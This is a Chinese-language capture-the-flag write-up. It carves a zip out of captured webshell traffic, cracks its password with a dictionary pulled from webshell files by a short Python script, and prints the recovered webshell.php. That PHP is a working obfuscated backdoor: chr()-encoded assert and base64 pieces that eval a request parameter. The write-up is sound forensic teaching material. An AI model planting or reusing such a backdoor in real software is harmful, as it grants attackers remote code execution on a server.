upload 文件夹是一堆webshell 流量包含有部分HTTP 流量,发现了一个webshell.zip ;foremost 尝试分离并没有直接分离出来,猜测可能混合了一些其他数据导致没有直接分离出zip文件。尝试导出HTTP对象 导出的文件夹中发现一些字节流文件,其中发现了zip 的字节流数据 使用010 Editor 打开,去掉前面5个干扰字节,重命名为flag.zip 有加密,真加密;尝试爆破无果,猜测upload 文件夹下的webshell密码中可能存在压缩包密码。Python简单处理提取出这些密码,另存为一个字典文件。
import re
import os
name_list = os.listdir('./upload')
password_list = []
for name in name_list:
file_pwd = './upload/' + name
with open(file_pwd, 'r') as f:
content = f.read()
password_list += re.findall('\[(.*)\]', content)
with open('password.txt', 'w') as f1:
for pswd in password_list:
f1.write(pswd+'\n')
使用ARCHPR 指定字典爆破即可 压缩包密码:7b8b965ad4bca 得到webshell.php
<?php
error_reporting(0);
@$c = array("1JFUVVFU1RbJzlhNzJjM","2Q1ZTc0ZjYwNTFiYjNiMzU","5MGZhOTMxOWZlJ10pOw","MGZhOTMxOWZlJ","MGZhOTMxOWZlJ");
@$str="ZXZhbCgkX";
@$o0o00o00o00o0o0 = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
@$ooo00o0o0o0o0o0 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
@$count = 0;
for($x=0;$x<=9;$x++){
if (in_array($x, @$c)){
@$str=@$str.@$c[@$count];
if ($count == 2)
{
@$o0o00o00o00o0o0(@$ooo00o0o0o0o0o0(@$str));
}
@$count++;
}
}
?>
双引号包裹,输出结果即可。 flag为
9a72c3d5e74f6051bb3b3590fa9319fe
|